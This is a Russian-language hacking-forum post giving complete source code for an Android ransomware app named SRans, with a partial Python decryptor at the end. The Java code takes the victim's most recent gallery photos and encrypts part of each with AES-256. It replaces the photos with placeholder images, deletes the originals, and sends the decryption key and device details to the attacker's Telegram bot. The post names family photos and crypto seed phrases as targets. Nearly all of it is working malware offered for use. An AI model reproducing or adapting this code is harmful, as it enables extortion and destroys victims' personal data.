SRans - Android Ransomware AES-256 - Статья - Source Code / Exclusive

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Android Ransomware - SRans

:smile10:Всем привет! Недавно узнал, что Ransomware хоть и запрещен на форуме, но только в коммерческих целях. А на других форумах, таких как Exploit, это не разрешено даже в образовательных целях. Поэтому эта статья эксклюзивно для xss.is ! ! !

Хочу подчеркнуть, что этот продукт я не продаю, никакой коммерции с его участием не веду и сам такую деятельность с применением Ransomware осуждаю и не продвигаю.

Теперь, когда с необходимым предисловием покончено, можно начать саму статью.

Статья будет немаленькой, но интересной.

Что есть ценного на вашем телефоне?

Для начала нам нужно определить цели: что мы будем зашифровывать, какие ценные материалы есть на телефоне? В основном, это фото и видео, которые дороги людям.

У людей в галерее могут быть фотографии их семьи, seed-фразы :), документы, видео со свадьбы — что угодно, и это для людей ценно.

Теперь, когда мы определились с целью, мы должны расписать принцип работы:

  1. Получение фотографий для шифрования:
    • Приложение получает доступ к последним изображениям из галереи устройства. Для этого оно проверяет разрешения на доступ к хранилищу и, при необходимости, запрашивает их у пользователя.
  2. Шифрование и сохранение шифрованных байтов с использованием Base64:
    • Для каждого изображения приложение генерирует AES-ключ (256 бит) и шифрует часть содержимого изображения (определяемую процентом шифрования). Шифрованные данные заменяются в исходном изображении, и затем весь массив байтов изображения кодируется в строку Base64 и сохраняется в отдельный файл на устройстве.
  3. Замена изображений на заглушку и уведомление в Telegram:
    • После шифрования приложение заменяет оригинальные изображения на изображения-заглушки (например, картинку с объяснением или насмешкой). Зашифрованный AES-ключ отправляется в Telegram, чтобы его можно было использовать для расшифровки.
    • После успешной замены отображается уведомление, что изображения были обработаны.
Спойлер: Этапы реализации
Этапы реализации:

  1. Проверка разрешений:
    • Программа проверяет, имеет ли она доступ к чтению и записи на внешнем хранилище и разрешение на интернет. Для Android 11 и выше требуется специальное разрешение MANAGE_EXTERNAL_STORAGE.
  2. Получение последних N изображений:
    • С помощью ContentResolver программа запрашивает последние изображения на устройстве, сортируя их по дате добавления. Полученные изображения добавляются в список для дальнейшей обработки.
  3. Шифрование изображений:
    • Для каждого изображения программа конвертирует его в массив байтов. Затем часть байтов шифруется с использованием AES-алгоритма. Зашифрованные данные заменяют исходные байты, и результат кодируется в Base64 и сохраняется в отдельный файл.
  4. Отправка AES-ключа в Telegram:
    • Сгенерированный AES-ключ отправляется через бота Telegram в указанный чат, чтобы его можно было использовать для расшифровки изображений при необходимости.
  5. Замена изображений на заглушки:
    • Программа заменяет последние N изображений на изображение-заглушку из ресурсов приложения, создавая иллюзию потери данных.
  6. Удаление оригиналов:
    • Программа удаляет исходные версии изображений, оставляя только зашифрованные версии и заглушки.
Теперь перейдем к самому коду нашего Ransomware и немного затронем тему того, как можно защитить наш проект под конец.

Первое, что нам нужно, это определить разрешения на доступ к данным в файле AndroidManifest.xml:

XML: Скопировать в буфер обмена
Код:
    <uses-permission android:name="android.permission.INTERNET" />


    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> 
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />


    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" 

        tools:ignore="ScopedStorage" />

Полный код AndroidManifest.xml:

XML: Скопировать в буфер обмена
Код:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <uses-permission android:name="android.permission.INTERNET" />


    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />


    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"

        tools:ignore="ScopedStorage" />


    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.SRansNMZ">
        <activity
            android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

Теперь перейдем в файл build.gradle где нам нужно импортировать okhttp:
вставляем в dependencies наш implementation - implementation("com.squareup.okhttp3:okhttp:4.12.0")

Теперь можно перейти к основному коду MainActivity.java:

Java: Скопировать в буфер обмена
Код:
public class MainActivity extends AppCompatActivity {

    private static final int PERMISSION_REQUEST_CODE = 100;
    private static final int MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE = 101;
    private static final String TELEGRAM_BOT_TOKEN = "token"; //ваш токен бота
    private static final String TELEGRAM_CHAT_ID = "user id"; //ваш id в тг
    private static final String AES_ALGORITHM = "AES/ECB/NoPadding";
    private static final int AES_KEY_SIZE = 256; //размер ключика
    private static final int IMAGE_COUNT = 20; //колво фото
    private static final double ENCRYPTION_PERCENTAGE = 10.0; // процент шифрования
    private static final int BLOCK_SIZE = 16; // размер блока
    private static final int HEADER_SIZE = 8;

Описал все в межстрочных комментариях.

Перейдем к проверке разрешений:


Java: Скопировать в буфер обмена
Код:
 if (checkPermissions()) {
            replaceLastNImagesWithEncodedText(IMAGE_COUNT);
        } else {
            requestPermissions();
        }
    }
    
    private boolean checkPermissions() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
            
            return Environment.isExternalStorageManager();
        } else {
            int readStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE);
            int writeStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE);
            int internetPermission = ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET);
            return readStoragePermission == PackageManager.PERMISSION_GRANTED &&
                    writeStoragePermission == PackageManager.PERMISSION_GRANTED &&
                    internetPermission == PackageManager.PERMISSION_GRANTED;
        }
    }

Запрос разрешений:

Java: Скопировать в буфер обмена
Код:
    private void requestPermissions() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
          
            Toast.makeText(this, "Необходим доступ ко всем файлам", Toast.LENGTH_LONG).show();
            Intent intent = new Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
                    Uri.parse("package:" + getPackageName()));
            startActivityForResult(intent, MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE);
        } else {
          
            ActivityCompat.requestPermissions(this, new String[]{
                    Manifest.permission.READ_EXTERNAL_STORAGE,
                    Manifest.permission.WRITE_EXTERNAL_STORAGE,
                    Manifest.permission.INTERNET
            }, PERMISSION_REQUEST_CODE);
        }
    }

 
    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == PERMISSION_REQUEST_CODE) {
            if (grantResults.length > 2 &&
                    grantResults[0] == PackageManager.PERMISSION_GRANTED &&
                    grantResults[1] == PackageManager.PERMISSION_GRANTED &&
                    grantResults[2] == PackageManager.PERMISSION_GRANTED) {
                replaceLastNImagesWithEncodedText(IMAGE_COUNT);
            } else {
                Toast.makeText(this, "Требуются разрешения для работы с хранилищем", Toast.LENGTH_LONG).show();
                openAppSettings();
            }
        }

    }


Переходим в настройки:


Java: Скопировать в буфер обмена
Код:
   @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (requestCode == MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE) {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
                if (Environment.isExternalStorageManager()) {
                    replaceLastNImagesWithEncodedText(IMAGE_COUNT);
                } else {
                    Toast.makeText(this, "Требуется доступ ко всем файлам.", Toast.LENGTH_LONG).show();
                    openAppSettings();
                }
            }
        }
    }

    private void openAppSettings() {
        Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
        Uri uri = Uri.fromParts("package", getPackageName(), null);
        intent.setData(uri);
        startActivity(intent);
    }


Перейдем к части кода которая шифрует нужное кол-во изображений сохраняет на устройстве шифрованные данные и заменяет оригиналы на заглушки:

Java: Скопировать в буфер обмена
Код:
 private void replaceLastNImagesWithEncodedText(int count) {
        List<Uri> lastNImageUris = getLastNImageUris(count);

        if (lastNImageUris.size() == count) {
            ExecutorService executor = Executors.newFixedThreadPool(Math.min(count, Runtime.getRuntime().availableProcessors()));
            CountDownLatch latch = new CountDownLatch(count);
            List<Exception> exceptions = new ArrayList<>();

            try {
                //генерация AES
                Key aesKey = generateAESKey();

                for (Uri uri : lastNImageUris) {
                    executor.submit(() -> {
                        try {
                            byte[] imageBytes = getImageAsByteArray(uri);
                            if (imageBytes != null) {

                                int encryptionSize = (int)(((imageBytes.length - HEADER_SIZE) * ENCRYPTION_PERCENTAGE) / 100.0 / BLOCK_SIZE) * BLOCK_SIZE;
                                if (encryptionSize < BLOCK_SIZE) {
                                    encryptionSize = BLOCK_SIZE;
                                }
                                if (encryptionSize > (imageBytes.length - HEADER_SIZE)) {
                                    encryptionSize = ((imageBytes.length - HEADER_SIZE) / BLOCK_SIZE) * BLOCK_SIZE;
                                    if (encryptionSize < BLOCK_SIZE) {
                                        encryptionSize = BLOCK_SIZE;
                                    }
                                }

                                byte[] bytesToEncrypt = new byte[encryptionSize];
                                System.arraycopy(imageBytes, HEADER_SIZE, bytesToEncrypt, 0, encryptionSize);

                                //шифрованиебайтов
                                byte[] encryptedBytes = encryptBytes(bytesToEncrypt, aesKey);
                                if (encryptedBytes != null) {

                                    System.arraycopy(encryptedBytes, 0, imageBytes, HEADER_SIZE, encryptionSize);

                                    //кодирование массива байтов в Base64
                                    String base64Image = Base64.encodeToString(imageBytes, Base64.DEFAULT);

                                    //сохран
                                    saveEncryptedImageToFile(base64Image);
                                }
                            }
                        } catch (Exception e) {
                            synchronized (exceptions) {
                                exceptions.add(e);
                            }
                        } finally {
                            latch.countDown();
                        }
                    });
                }


                latch.await();

                executor.shutdown();

                if (!exceptions.isEmpty()) {
                    for (Exception e : exceptions) {
                        e.printStackTrace();
                    }
                    Toast.makeText(this, "ошибка обработки изо", Toast.LENGTH_LONG).show();
                    return;
                }

                //отправка AES ключа в Telegram
                sendKeyToTelegram(aesKey);

                //замена изображений на заглушку
                for (int i = 0; i < count; i++) {
                    replaceImageWithDrawable();
                }

                //удаление оригинальных изображений
                deleteLastNImages(lastNImageUris);

                Toast.makeText(this, "успешно", Toast.LENGTH_LONG).show();

            } catch (Exception e) {
                e.printStackTrace();
                Toast.makeText(this, "ошибка: " + e.getMessage(), Toast.LENGTH_LONG).show();
            }
        } else {
            Toast.makeText(this, "не удалось найти " + count + "изображений", Toast.LENGTH_LONG).show();
        }
    }


Получение последних изображений:

Java: Скопировать в буфер обмена
Код:
private List<Uri> getLastNImageUris(int count) {
        List<Uri> imageUris = new ArrayList<>();
        String[] projection = { MediaStore.Images.Media._ID, MediaStore.Images.Media.DATE_ADDED };
        String sortOrder = MediaStore.Images.Media.DATE_ADDED + " DESC";

        try (Cursor cursor = getContentResolver().query(
                MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, sortOrder)) {

            if (cursor != null) {
                int imageIdColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID);
                int currentCount = 0;
                while (cursor.moveToNext() && currentCount < count) {
                    long id = cursor.getLong(imageIdColumn);
                    Uri imageUri = Uri.withAppendedPath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, Long.toString(id));
                    imageUris.add(imageUri);
                    currentCount++;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return imageUris;
    }


Преобразуем данные в массив байтов для дальнейшей работы:

Java: Скопировать в буфер обмена
Код:
private byte[] getImageAsByteArray(Uri imageUri) {
        try {
            Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
            if (bitmap == null) {
                throw new IOException("ошибочка");
            }
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
          
            bitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream);
            return byteArrayOutputStream.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

Шифруем байты:

Java: Скопировать в буфер обмена
Код:
 private byte[] encryptBytes(byte[] data, Key key) {
        try {
            Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
            cipher.init(Cipher.ENCRYPT_MODE, key);
            return cipher.doFinal(data); // NoPadding
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

Генерируем AES ключик:

Java: Скопировать в буфер обмена
Код:
 private Key generateAESKey() throws Exception {
        KeyGenerator keyGen = KeyGenerator.getInstance("AES");
        keyGen.init(AES_KEY_SIZE, new SecureRandom());
        SecretKey secretKey = keyGen.generateKey();
        return secretKey;
    }

Сохраняем шифрованные данные байтов в хранилище:

Java: Скопировать в буфер обмена
Код:
 private void saveEncryptedImageToFile(String base64Image) {
      
        String fileName = generateRandomString(20) + "rans.enc";

        File directory = new File(Environment.getExternalStorageDirectory(), "EncodedImages");
        if (!directory.exists()) {
            if (!directory.mkdirs()) {
                Toast.makeText(this, "ошибочка saveEncryptedImageToFile", Toast.LENGTH_LONG).show();
                return;
            }
        }

        File file = new File(directory, fileName);
        try (FileOutputStream outputStream = new FileOutputStream(file)) {
            outputStream.write(base64Image.getBytes());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

1730545903700.png



Отправка ключа AES для дешифровки в Telegram:

Java: Скопировать в буфер обмена
Код:
 private void sendKeyToTelegram(Key aesKey) {
        String aesKeyString = Base64.encodeToString(aesKey.getEncoded(), Base64.DEFAULT);
        String androidVersion = Build.VERSION.RELEASE;
        String deviceModel = Build.MODEL;
        String message =
                "SRans - NMZ - XSS"+ "\n" +
                "AES Key: " + aesKeyString + "\n" +
                "Android Version: " + androidVersion + "\n" +
                "Device Model: " + deviceModel;

        OkHttpClient client = new OkHttpClient();
        String json = "{\"chat_id\":\"" + TELEGRAM_CHAT_ID + "\",\"text\":\"" + message + "\"}";
        RequestBody body = RequestBody.create(
                MediaType.parse("application/json"),
                json
        );

        Request request = new Request.Builder()
                .url("https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendMessage")
                .post(body)
                .build();

        new Thread(() -> {
            try (Response response = client.newCall(request).execute()) {
                if (!response.isSuccessful()) {
                    throw new IOException("Unexpected code " + response);
                }
                System.out.println("succes");
            } catch (IOException e) {
                e.printStackTrace();
                runOnUiThread(() -> Toast.makeText(MainActivity.this, "eror send: " + e.getMessage(), Toast.LENGTH_LONG).show());
            }
        }).start();
    }

Вид лога в Telegram:

1730545650107.png




Замена оригинальных фото на заглушку из drawable:

Java: Скопировать в буфер обмена
Код:
    private void replaceImageWithDrawable() {
        try {
            Bitmap bitmap = BitmapFactory.decodeResource(getResources(), R.drawable.image); //нейм
            String savedImageURL = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "Drawable Image", "Image replaced from drawable");

            if (savedImageURL == null) {
                Toast.makeText(this, "Ошибка при замене изо", Toast.LENGTH_SHORT).show();
            }
        } catch (Exception e) {
            e.printStackTrace();
            Toast.makeText(this, "Не удалось заменить изо: " + e.getMessage(), Toast.LENGTH_SHORT).show();
        }
    }

Удаление оригинальных изображений:


Java: Скопировать в буфер обмена
Код:
  private void deleteLastNImages(List<Uri> imageUris) {
        for (Uri uri : imageUris) {
            try {
                getContentResolver().delete(uri, null, null);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

Пример того как это выглядит в галерее после шифрования:

1730545786558.jpeg



Замените файл image.png по пути SRansNMZ\app\src\main\res\drawable для того чтобы изменить заглушку.

Полный код MainActivity.java:

Java: Скопировать в буфер обмена
Код:
package xss.exploit.nmz.SRans;

//импорты
import androidx.appcompat.app.AppCompatActivity;
import androidx.annotation.NonNull;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.provider.MediaStore;
import android.provider.Settings;
import android.util.Base64;
import android.widget.Toast;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.security.Key;
import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;

import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;

public class MainActivity extends AppCompatActivity {

    private static final int PERMISSION_REQUEST_CODE = 100;
    private static final int MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE = 101;
    private static final String TELEGRAM_BOT_TOKEN = "token";
    private static final String TELEGRAM_CHAT_ID = "user id";
    private static final String AES_ALGORITHM = "AES/ECB/NoPadding";
    private static final int AES_KEY_SIZE = 256;
    private static final int IMAGE_COUNT = 20; //колво фото
    private static final double ENCRYPTION_PERCENTAGE = 10.0; // процент шифрования
    private static final int BLOCK_SIZE = 16; // размер блока
    private static final int HEADER_SIZE = 8;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);


        if (checkPermissions()) {
            replaceLastNImagesWithEncodedText(IMAGE_COUNT);
        } else {
            requestPermissions();
        }
    }

    private boolean checkPermissions() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {

            return Environment.isExternalStorageManager();
        } else {
            int readStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE);
            int writeStoragePermission = ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE);
            int internetPermission = ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET);
            return readStoragePermission == PackageManager.PERMISSION_GRANTED &&
                    writeStoragePermission == PackageManager.PERMISSION_GRANTED &&
                    internetPermission == PackageManager.PERMISSION_GRANTED;
        }
    }

    private void requestPermissions() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {

            Toast.makeText(this, "Необходим доступ ко всем файлам", Toast.LENGTH_LONG).show();
            Intent intent = new Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION,
                    Uri.parse("package:" + getPackageName()));
            startActivityForResult(intent, MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE);
        } else {

            ActivityCompat.requestPermissions(this, new String[]{
                    Manifest.permission.READ_EXTERNAL_STORAGE,
                    Manifest.permission.WRITE_EXTERNAL_STORAGE,
                    Manifest.permission.INTERNET
            }, PERMISSION_REQUEST_CODE);
        }
    }


    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == PERMISSION_REQUEST_CODE) {
            if (grantResults.length > 2 &&
                    grantResults[0] == PackageManager.PERMISSION_GRANTED &&
                    grantResults[1] == PackageManager.PERMISSION_GRANTED &&
                    grantResults[2] == PackageManager.PERMISSION_GRANTED) {
                replaceLastNImagesWithEncodedText(IMAGE_COUNT);
            } else {
                Toast.makeText(this, "Требуются разрешения для работы с хранилищем", Toast.LENGTH_LONG).show();
                openAppSettings();
            }
        }
    }


    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (requestCode == MANAGE_EXTERNAL_STORAGE_PERMISSION_CODE) {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
                if (Environment.isExternalStorageManager()) {
                    replaceLastNImagesWithEncodedText(IMAGE_COUNT);
                } else {
                    Toast.makeText(this, "Требуется доступ ко всем файлам.", Toast.LENGTH_LONG).show();
                    openAppSettings();
                }
            }
        }
    }

    private void openAppSettings() {
        Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
        Uri uri = Uri.fromParts("package", getPackageName(), null);
        intent.setData(uri);
        startActivity(intent);
    }


    private void replaceLastNImagesWithEncodedText(int count) {
        List<Uri> lastNImageUris = getLastNImageUris(count);

        if (lastNImageUris.size() == count) {
            ExecutorService executor = Executors.newFixedThreadPool(Math.min(count, Runtime.getRuntime().availableProcessors()));
            CountDownLatch latch = new CountDownLatch(count);
            List<Exception> exceptions = new ArrayList<>();

            try {
                //генерация AES
                Key aesKey = generateAESKey();

                for (Uri uri : lastNImageUris) {
                    executor.submit(() -> {
                        try {
                            byte[] imageBytes = getImageAsByteArray(uri);
                            if (imageBytes != null) {

                                int encryptionSize = (int)(((imageBytes.length - HEADER_SIZE) * ENCRYPTION_PERCENTAGE) / 100.0 / BLOCK_SIZE) * BLOCK_SIZE;
                                if (encryptionSize < BLOCK_SIZE) {
                                    encryptionSize = BLOCK_SIZE;
                                }
                                if (encryptionSize > (imageBytes.length - HEADER_SIZE)) {
                                    encryptionSize = ((imageBytes.length - HEADER_SIZE) / BLOCK_SIZE) * BLOCK_SIZE;
                                    if (encryptionSize < BLOCK_SIZE) {
                                        encryptionSize = BLOCK_SIZE;
                                    }
                                }

                                byte[] bytesToEncrypt = new byte[encryptionSize];
                                System.arraycopy(imageBytes, HEADER_SIZE, bytesToEncrypt, 0, encryptionSize);

                                //шифрованиебайтов
                                byte[] encryptedBytes = encryptBytes(bytesToEncrypt, aesKey);
                                if (encryptedBytes != null) {

                                    System.arraycopy(encryptedBytes, 0, imageBytes, HEADER_SIZE, encryptionSize);

                                    //кодирование массива байтов в Base64
                                    String base64Image = Base64.encodeToString(imageBytes, Base64.DEFAULT);

                                    //сохран
                                    saveEncryptedImageToFile(base64Image);
                                }
                            }
                        } catch (Exception e) {
                            synchronized (exceptions) {
                                exceptions.add(e);
                            }
                        } finally {
                            latch.countDown();
                        }
                    });
                }


                latch.await();

                executor.shutdown();

                if (!exceptions.isEmpty()) {
                    for (Exception e : exceptions) {
                        e.printStackTrace();
                    }
                    Toast.makeText(this, "ошибка обработки изо", Toast.LENGTH_LONG).show();
                    return;
                }

                //отправка AES ключа в Telegram
                sendKeyToTelegram(aesKey);

                //замена изображений на заглушку
                for (int i = 0; i < count; i++) {
                    replaceImageWithDrawable();
                }

                //удаление оригинальных изображений
                deleteLastNImages(lastNImageUris);

                Toast.makeText(this, "успешно", Toast.LENGTH_LONG).show();

            } catch (Exception e) {
                e.printStackTrace();
                Toast.makeText(this, "ошибка: " + e.getMessage(), Toast.LENGTH_LONG).show();
            }
        } else {
            Toast.makeText(this, "не удалось найти " + count + "изображений", Toast.LENGTH_LONG).show();
        }
    }


    private List<Uri> getLastNImageUris(int count) {
        List<Uri> imageUris = new ArrayList<>();
        String[] projection = { MediaStore.Images.Media._ID, MediaStore.Images.Media.DATE_ADDED };
        String sortOrder = MediaStore.Images.Media.DATE_ADDED + " DESC";

        try (Cursor cursor = getContentResolver().query(
                MediaStore.Images.Media.EXTERNAL_CONTENT_URI, projection, null, null, sortOrder)) {

            if (cursor != null) {
                int imageIdColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID);
                int currentCount = 0;
                while (cursor.moveToNext() && currentCount < count) {
                    long id = cursor.getLong(imageIdColumn);
                    Uri imageUri = Uri.withAppendedPath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, Long.toString(id));
                    imageUris.add(imageUri);
                    currentCount++;
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return imageUris;
    }


    private byte[] getImageAsByteArray(Uri imageUri) {
        try {
            Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(imageUri));
            if (bitmap == null) {
                throw new IOException("ошибочка");
            }
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

            bitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream);
            return byteArrayOutputStream.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    private byte[] encryptBytes(byte[] data, Key key) {
        try {
            Cipher cipher = Cipher.getInstance(AES_ALGORITHM);
            cipher.init(Cipher.ENCRYPT_MODE, key);
            return cipher.doFinal(data); // NoPadding
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }


    private Key generateAESKey() throws Exception {
        KeyGenerator keyGen = KeyGenerator.getInstance("AES");
        keyGen.init(AES_KEY_SIZE, new SecureRandom());
        SecretKey secretKey = keyGen.generateKey();
        return secretKey;
    }


    private void saveEncryptedImageToFile(String base64Image) {

        String fileName = generateRandomString(20) + "rans.enc";

        File directory = new File(Environment.getExternalStorageDirectory(), "EncodedImages");
        if (!directory.exists()) {
            if (!directory.mkdirs()) {
                Toast.makeText(this, "ошибочка saveEncryptedImageToFile", Toast.LENGTH_LONG).show();
                return;
            }
        }

        File file = new File(directory, fileName);
        try (FileOutputStream outputStream = new FileOutputStream(file)) {
            outputStream.write(base64Image.getBytes());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    private String generateRandomString(int length) {
        String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        SecureRandom random = new SecureRandom();
        StringBuilder sb = new StringBuilder(length);
        for(int i =0; i < length; i++) {
            sb.append(chars.charAt(random.nextInt(chars.length())));
        }
        return sb.toString();
    }


    private void sendKeyToTelegram(Key aesKey) {
        String aesKeyString = Base64.encodeToString(aesKey.getEncoded(), Base64.DEFAULT);
        String androidVersion = Build.VERSION.RELEASE;
        String deviceModel = Build.MODEL;
        String message =
                "SRans - NMZ - XSS"+ "\n" +
                "AES Key: " + aesKeyString + "\n" +
                "Android Version: " + androidVersion + "\n" +
                "Device Model: " + deviceModel;

        OkHttpClient client = new OkHttpClient();
        String json = "{\"chat_id\":\"" + TELEGRAM_CHAT_ID + "\",\"text\":\"" + message + "\"}";
        RequestBody body = RequestBody.create(
                MediaType.parse("application/json"),
                json
        );

        Request request = new Request.Builder()
                .url("https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendMessage")
                .post(body)
                .build();

        new Thread(() -> {
            try (Response response = client.newCall(request).execute()) {
                if (!response.isSuccessful()) {
                    throw new IOException("Unexpected code " + response);
                }
                System.out.println("succes");
            } catch (IOException e) {
                e.printStackTrace();
                runOnUiThread(() -> Toast.makeText(MainActivity.this, "eror send: " + e.getMessage(), Toast.LENGTH_LONG).show());
            }
        }).start();
    }


    private void replaceImageWithDrawable() {
        try {
            Bitmap bitmap = BitmapFactory.decodeResource(getResources(), R.drawable.image); //нейм
            String savedImageURL = MediaStore.Images.Media.insertImage(getContentResolver(), bitmap, "Drawable Image", "Image replaced from drawable");

            if (savedImageURL == null) {
                Toast.makeText(this, "Ошибка при замене изо", Toast.LENGTH_SHORT).show();
            }
        } catch (Exception e) {
            e.printStackTrace();
            Toast.makeText(this, "Не удалось заменить изо: " + e.getMessage(), Toast.LENGTH_SHORT).show();
        }
    }


    private void deleteLastNImages(List<Uri> imageUris) {
        for (Uri uri : imageUris) {
            try {
                getContentResolver().delete(uri, null, null);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

Теперь перейдем к коду на Python для дешифровки:

Java: Скопировать в буфер обмена
Код:
import os
import base64
from Crypto.Cipher import AES

def load_aes_key(key_file_path):
    try:
        with open(key_file_path, 'r') as f:
            key_b64 = f.read().strip()
            key = base64.b64decode(key_b64)
            if len(key) not in (16, 24, 32):
                raise ValueError("Invalid AES key length.")
            print("AES ключ успешно загружен.")
            return key
    except Exception as e:
        print(f"Ошибка загрузки AES ключа: {e}")
        return None

def decrypt_bytes(encrypted_data, key):
    try:
        cipher = AES.new(key, AES.MODE_ECB)
        decrypted_data = cipher.decrypt(encrypted_data)
        return decrypted_data
    except Exception as e:
        print(f"Ошибка дешифровки: {e}")
        return None

def process_encrypted_files(encoded_images_dir, decrypted_images_dir, key):
    if not os.path.exists(encoded_images_dir):
        print(f"Директория {encoded_images_dir} не существует.")
        return
    if not os.path.exists(decrypted_images_dir):
        os.makedirs(decrypted_images_dir)
        print(f"Создана директория {decrypted_images_dir} для сохранения дешифрованных изображений.")

    files_found = False
    for filename in os.listdir(encoded_images_dir):
        if filename.endswith("rans.enc"):
            files_found = True
            file_path = os.path.join(encoded_images_dir, filename)
            try:
                print(f"Обработка файла: {filename}")
                with open(file_path, 'r') as f:
                    base64_data = f.read().strip()
                image_data = base64.b64decode(base64_data)

                
                encryption_percentage = 10.0  # как в коде на java
                header_size = 8 
                total_length = len(image_data)
                if total_length <= header_size:
                    print(f"Файл {filename} слишком мал для обработки.")
                    continue

                encryption_size = int(((total_length - header_size) * encryption_percentage) / 100.0)
              
                encryption_size = (encryption_size // 16) * 16
                if encryption_size < 16:
                    encryption_size = 16  # минимум 16 байт

                if encryption_size > (total_length - header_size):
                    encryption_size = ((total_length - header_size) // 16) * 16
                    if encryption_size < 16:
                        encryption_size = 16

                print(f"Размер шифруемой части: {encryption_size} байт")

              
                encrypted_part = image_data[header_size:header_size + encryption_size]
                decrypted_part = decrypt_bytes(encrypted_part, key)

                if decrypted_part is None:
                    print(f"Не удалось дешифровать часть файла {filename}.")
                    continue

                
                new_image_data = image_data[:header_size] + decrypted_part + image_data[header_size + encryption_size:]

              
                if filename.endswith("rans.txt"):
                    output_filename = f"decrypted_{filename[:-8]}.png"
                else:
                    output_filename = f"decrypted_{filename}.png"
                output_image_path = os.path.join(decrypted_images_dir, output_filename)
                with open(output_image_path, 'wb') as img_file:
                    img_file.write(new_image_data)

